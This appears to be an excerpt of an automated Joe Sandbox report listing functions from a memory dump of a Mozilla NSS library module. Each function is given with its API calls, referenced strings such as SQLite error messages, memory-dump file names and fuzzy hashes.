EnterCriticalSection.KERNEL32(?), ref: 6C6A3D9F
PR_Unlock.NSS3(?), ref: 6C6A3DCA
PR_SetError.NSS3(00000000,00000000), ref: 6C6A3DE2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C6A3E4F

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

TlsGetValue.KERNEL32 ref: 6C6A3E97
EnterCriticalSection.KERNEL32(?), ref: 6C6A3EAB
PR_Unlock.NSS3(?), ref: 6C6A3ED6
PR_SetError.NSS3(00000000,00000000), ref: 6C6A3EEE

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterSectionUnlock$K11_Tokens
String ID:
API String ID: 2554137219-0
Opcode ID: bef6d43a4f64d57c1488d4744d1574c422e85aff163b6754196420608c0f1de2
Instruction ID: 33748bc75c33f2b6808db6bc2b23d194167b81a2f5fb69110d018f46ca46ef4a
Opcode Fuzzy Hash: bef6d43a4f64d57c1488d4744d1574c422e85aff163b6754196420608c0f1de2
Instruction Fuzzy Hash: 33515571A002019FDB11AFA9D844BAA73B0FF46318F040579EE1947B12EB31EC56CBD9

Function 6C652C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(921290DD), ref: 6C652C5D

Part of subcall function 6C6B0D30: calloc.MOZGLUE ref: 6C6B0D50
Part of subcall function 6C6B0D30: TlsGetValue.KERNEL32 ref: 6C6B0D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6C652C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C652CE0

Part of subcall function 6C652E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C652CDA,?,00000000), ref: 6C652E1E
Part of subcall function 6C652E00: SECITEM_DupItem_Util.NSS3(?), ref: 6C652E33
Part of subcall function 6C652E00: TlsGetValue.KERNEL32 ref: 6C652E4E
Part of subcall function 6C652E00: EnterCriticalSection.KERNEL32(?), ref: 6C652E5E
Part of subcall function 6C652E00: PL_HashTableLookup.NSS3(?), ref: 6C652E71
Part of subcall function 6C652E00: PL_HashTableRemove.NSS3(?), ref: 6C652E84
Part of subcall function 6C652E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6C652E96
Part of subcall function 6C652E00: PR_Unlock.NSS3 ref: 6C652EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C652D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6C652D30
CERT_MakeCANickname.NSS3(00000001), ref: 6C652D3F
free.MOZGLUE(00000000), ref: 6C652D73
CERT_DestroyCertificate.NSS3(?), ref: 6C652DB8
free.MOZGLUE ref: 6C652DC8

Part of subcall function 6C653E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C653EC2
Part of subcall function 6C653E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C653ED6
Part of subcall function 6C653E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C653EEE
Part of subcall function 6C653E60: PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C653F02
Part of subcall function 6C653E60: PL_FreeArenaPool.NSS3 ref: 6C653F14
Part of subcall function 6C653E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C653F27

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: 21bad56a28b45595a0de3e7d776560949eb925cfa8530ea0eafe33c260a0abf1
Instruction ID: ac2a680c9fc11d6d124ae6a8217de67a126df86f60f2bdb909786b74df417293
Opcode Fuzzy Hash: 21bad56a28b45595a0de3e7d776560949eb925cfa8530ea0eafe33c260a0abf1
Instruction Fuzzy Hash: 5A510F72A042129BDB00DE68DC88B6B77E5EF84308F640638EC4583610E731E8258B9A

Function 6C657CC0 Relevance: 13.6, APIs: 9, Instructions: 132threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6540D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6C653F7F,?,00000055,?,?,6C651666,?,?), ref: 6C6540D9
Part of subcall function 6C6540D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6C651666,?,?), ref: 6C6540FC
Part of subcall function 6C6540D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6C651666,?,?), ref: 6C654138

PR_GetCurrentThread.NSS3 ref: 6C657CFD

Part of subcall function 6C719BF0: TlsGetValue.KERNEL32(?,?,?,6C760A75), ref: 6C719C07

SECITEM_ItemsAreEqual_Util.NSS3(?,6C779030), ref: 6C657D1B

Part of subcall function 6C6AFD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6C651A3E,00000048,00000054), ref: 6C6AFD56

SECITEM_ItemsAreEqual_Util.NSS3(?,6C779048), ref: 6C657D2F
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6C657D50
PR_GetCurrentThread.NSS3 ref: 6C657D61
PORT_ArenaMark_Util.NSS3(?), ref: 6C657D7D
free.MOZGLUE(?), ref: 6C657D9C
CERT_CheckNameSpace.NSS3(?,00000000,00000000), ref: 6C657DB8
PR_SetError.NSS3(FFFFE023,00000000), ref: 6C657E19

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$CurrentEqual_ErrorItem_ItemsThread$ArenaCheckCompareCopyFindMark_NameSpaceTag_Valuefreememcmp
String ID:
API String ID: 70581797-0
Opcode ID: 9cbf3057d22154c5eae94fd6906a4b35c1e66639b9909beb1fa43734010a9f64
Instruction ID: b4899b585eb6979e0d872a6f68a2be636c4ac0a7575c05f478845f1263ebf321
Opcode Fuzzy Hash: 9cbf3057d22154c5eae94fd6906a4b35c1e66639b9909beb1fa43734010a9f64
Instruction Fuzzy Hash: 81411572A1011A9BDF008F699C45BAF33E4AF5135CF654224EC09A7B50E730ED29C7AA

Function 6C667EB0 Relevance: 13.6, APIs: 9, Instructions: 124threadCOMMON

Download Yara Rule

APIs

free.MOZGLUE(?,00000000,00000000,?,?,?,6C6680DD), ref: 6C667F15
DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,?,?,6C6680DD), ref: 6C667F36
free.MOZGLUE(?,?,?,6C6680DD), ref: 6C667F3D
SECOID_Shutdown.NSS3(00000000,00000000,?,?,?,6C6680DD), ref: 6C667F5D
DeleteCriticalSection.KERNEL32(?,6C6680DD), ref: 6C667F94
free.MOZGLUE(?), ref: 6C667F9B
PR_SetError.NSS3(FFFFE08B,00000000,6C6680DD), ref: 6C667FD0
PR_SetThreadPrivate.NSS3(FFFFFFFF,00000000,6C6680DD), ref: 6C667FE6
free.MOZGLUE(?,6C6680DD), ref: 6C66802D

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection$ErrorPrivateShutdownThread
String ID:
API String ID: 4037168058-0
Opcode ID: c3523099250f8b29ce27f2656ff5dcea27d9f9e99e0b08ca88d367200d1dfb1a
Instruction ID: d42e9a6e724bae1ba5177ad3823ee47b840d89a84f9a7cf6aa6fd0b497b7976d
Opcode Fuzzy Hash: c3523099250f8b29ce27f2656ff5dcea27d9f9e99e0b08ca88d367200d1dfb1a
Instruction Fuzzy Hash: 2C41F7B1B061045BDB009FBA9C88E4A37B9AB47398F150639E51D97F40D731D409CB9E

Function 6C6AFEE0 Relevance: 13.6, APIs: 9, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6AFF00

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PORT_ArenaMark_Util.NSS3(?), ref: 6C6AFF18
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C6AFF26
PORT_ArenaMark_Util.NSS3(?), ref: 6C6AFF4F
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C6AFF7A
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C6AFF8C

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Mark_$ErrorValuememset
String ID:
API String ID: 1233137751-0
Opcode ID: 15102e73518a88c1d086ea82b217a9e8fd870a3e126e7963a170be6ba9e0941a
Instruction ID: b08efe629e4d9877bc7512828895ca26a07d10df1e7c910a11b11f40d1455db0
Opcode Fuzzy Hash: 15102e73518a88c1d086ea82b217a9e8fd870a3e126e7963a170be6ba9e0941a
Instruction Fuzzy Hash: E43128F29013229BE7108E948C40B9B76A8AF4A34CF140135ED18A7B41F770DD25C7DB

Function 6C6B3CA0 Relevance: 13.6, APIs: 9, Instructions: 90memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,?,-00000001,?,00000000,?,6C6B38BD), ref: 6C6B3CBE
PORT_Alloc_Util.NSS3(00000000,?,000000FF,00000000,00000000,?,-00000001,?,00000000,?,6C6B38BD), ref: 6C6B3CD1

Part of subcall function 6C6B0BE0: malloc.MOZGLUE(6C6A8D2D,?,00000000,?), ref: 6C6B0BF8
Part of subcall function 6C6B0BE0: TlsGetValue.KERNEL32(6C6A8D2D,?,00000000,?), ref: 6C6B0C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,6C6B38BD), ref: 6C6B3CF0
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,6C78B369,000000FF,00000000,00000000,?,000000FF,00000000,00000000,6C6B38BD), ref: 6C6B3D0B
PORT_Alloc_Util.NSS3(00000000,?,000000FF,00000000,00000000,6C6B38BD), ref: 6C6B3D1A
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,6C78B369,000000FF,00000000,00000000,00000000,6C6B38BD), ref: 6C6B3D38
_wfopen.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000000), ref: 6C6B3D47
free.MOZGLUE(00000000), ref: 6C6B3D62
free.MOZGLUE(000000FF,?,000000FF,00000000,00000000,6C6B38BD), ref: 6C6B3D6F

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$Alloc_Utilfree$Value_wfopenmalloc
String ID:
API String ID: 2345246809-0
Opcode ID: 368361367952fc737369fcd39688487f5ed469e2bb0b3c7bb182527ad23e2cdd
Instruction ID: 513b1839d01e18c1bd207dbb516c5ab3517ccdd2d40c880778e898e1a0d8ac1c
Opcode Fuzzy Hash: 368361367952fc737369fcd39688487f5ed469e2bb0b3c7bb182527ad23e2cdd
Instruction Fuzzy Hash: CB21D4B570111277FB2066BA5C09E7B39ECDB827A5B140635B939E76C0EE71D81083B5

Function 6C5F7D70 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 179COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5F7E27
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5F7E67
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001065F,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000003,?,?), ref: 6C5F7EED
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001066C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5F7F2E

Strings

database corruption, xrefs: 6C5F7EE2, 6C5F7F23
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5F7ED8, 6C5F7F08, 6C5F7F19
%s at line %d of [%.10s], xrefs: 6C5F7EE7, 6C5F7F28

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: c2e68d1ca9f409165cfac63a79bfce4ea7393d0ab3e02b00ed413cccdf737d6c
Instruction ID: 11a3d9d7ae6d9d489f8e2ae74219312032fe39294664de212c34a3fbbcbd539d
Opcode Fuzzy Hash: c2e68d1ca9f409165cfac63a79bfce4ea7393d0ab3e02b00ed413cccdf737d6c
Instruction Fuzzy Hash: 8961C170A002059FDB09CF29CC90BAA37B2BF45358F1448A9ED285BB52D730EC46CFA0

Function 6C5DFCF0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 155COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124AC,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5DFD7A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5DFD94
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124BF,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5DFE3C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5DFE83

Part of subcall function 6C5DFEC0: memcmp.VCRUNTIME140(?,?,?,?,00000000,?), ref: 6C5DFEFA
Part of subcall function 6C5DFEC0: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000,?), ref: 6C5DFF3B

Strings

database corruption, xrefs: 6C5DFD6E, 6C5DFE30
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5DFD64, 6C5DFE26
%s at line %d of [%.10s], xrefs: 6C5DFD73, 6C5DFE35

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$memcmpmemcpy
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1169254434-598938438
Opcode ID: 9a7c8e8db9d923da48674f8146a085e20669fe4fef29915c3e97d4d69f748306
Instruction ID: f8b52f8f2e6dbdf8dbc5dd1c5b323f79f697c4421a8a330b48975e1c727e204b
Opcode Fuzzy Hash: 9a7c8e8db9d923da48674f8146a085e20669fe4fef29915c3e97d4d69f748306
Instruction Fuzzy Hash: B1518F71A002059FDB04CFADDD90AAEB7B1EF48308F154169EA05ABB52E731FD50CBA4

Function 6C722F70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C722FFD
sqlite3_initialize.NSS3 ref: 6C723007
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C723032
sqlite3_mprintf.NSS3(6C78AAF9,?), ref: 6C723073
sqlite3_free.NSS3(?), ref: 6C7230B3
sqlite3_mprintf.NSS3(sqlite3_get_table() called with two or more incompatible queries), ref: 6C7230C0

Strings

sqlite3_get_table() called with two or more incompatible queries, xrefs: 6C7230BB

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_mprintf$memcpysqlite3_freesqlite3_initializestrlen
String ID: sqlite3_get_table() called with two or more incompatible queries
API String ID: 750880481-4279182443
Opcode ID: 730c050f35a21fc24e4be7c132324710734b3228a13605a4e0973480b7ce6acc
Instruction ID: d40c16d559fc85d586ee09db67bec24a23d830ebd23b3cea79d6e5ea7edb4d8e
Opcode Fuzzy Hash: 730c050f35a21fc24e4be7c132324710734b3228a13605a4e0973480b7ce6acc
Instruction Fuzzy Hash: F941C271600606AFDB10CF25D944A86B7AAFF44368F148639EC2987B40E735F955CBE1

Function 6C6A5ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 80stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(q]jl), ref: 6C6A5F0A
TlsGetValue.KERNEL32 ref: 6C6A5F1F
EnterCriticalSection.KERNEL32(89000904), ref: 6C6A5F2F
PR_Unlock.NSS3(890008E8), ref: 6C6A5F55
PR_SetError.NSS3(00000000,00000000), ref: 6C6A5F6D
SECMOD_UpdateSlotList.NSS3(8B4274C0), ref: 6C6A5F7D

Part of subcall function 6C6A5220: TlsGetValue.KERNEL32(00000000,890008E8,?,6C6A5F82,8B4274C0), ref: 6C6A5248
Part of subcall function 6C6A5220: EnterCriticalSection.KERNEL32(0F6C770D,?,6C6A5F82,8B4274C0), ref: 6C6A525C
Part of subcall function 6C6A5220: PR_SetError.NSS3(00000000,00000000), ref: 6C6A528E
Part of subcall function 6C6A5220: PR_Unlock.NSS3(0F6C76F1), ref: 6C6A5299
Part of subcall function 6C6A5220: free.MOZGLUE(00000000), ref: 6C6A52A9

Strings

q]jl, xrefs: 6C6A5EDB, 6C6A5F09

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$ListSlotUpdatefreestrlen
String ID: q]jl
API String ID: 3150690610-1303710552
Opcode ID: 2a10d3fcd7f3dcc7f39e12458bbdaea1c2d0b5102a11b6f95f64c804418a40e2
Instruction ID: d09578a01e7b88a59bb3eafc0fe3ebecaa9497c84260a071ed4e689792d1ebe0
Opcode Fuzzy Hash: 2a10d3fcd7f3dcc7f39e12458bbdaea1c2d0b5102a11b6f95f64c804418a40e2
Instruction Fuzzy Hash: DB21D6B1D00604AFDB10DFA4EC45AEEB7B4EF09318F544039E90AA7700FB31A9558B99

Function 6C668CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6C67124D,00000001), ref: 6C668D19
EnterCriticalSection.KERNEL32(?,?,?,?,6C67124D,00000001), ref: 6C668D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6C67124D,00000001), ref: 6C668D73
PR_Unlock.NSS3(?,?,?,?,?,6C67124D,00000001), ref: 6C668D8C

Part of subcall function 6C6FDD70: TlsGetValue.KERNEL32 ref: 6C6FDD8C
Part of subcall function 6C6FDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4

PR_Unlock.NSS3(?,?,?,?,?,6C67124D,00000001), ref: 6C668DBA

Strings

KRAM, xrefs: 6C668CF9
KRAM, xrefs: 6C668D3E

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: 8270b835501c95c7981c1040cd94e5e06ce5135ab7eecfe3e0030c1a06517830
Instruction ID: 71df5769bc523673114dcbaa0c868518cedc362bc96d46a476d1fcf7beda50f4
Opcode Fuzzy Hash: 8270b835501c95c7981c1040cd94e5e06ce5135ab7eecfe3e0030c1a06517830
Instruction Fuzzy Hash: ED2191B1A04601DFCB00EF7AC48459EB7F0FF4A308F15896AD89887B11D734E842CBA6

Function 6C760ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C760EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C760EFA

Part of subcall function 6C64AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C64AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C760F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C760F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C760F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C760F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6C760ED9, 6C760EE5, 6C760F06, 6C760F0B
Aborting, xrefs: 6C760EB3

Memory Dump Source

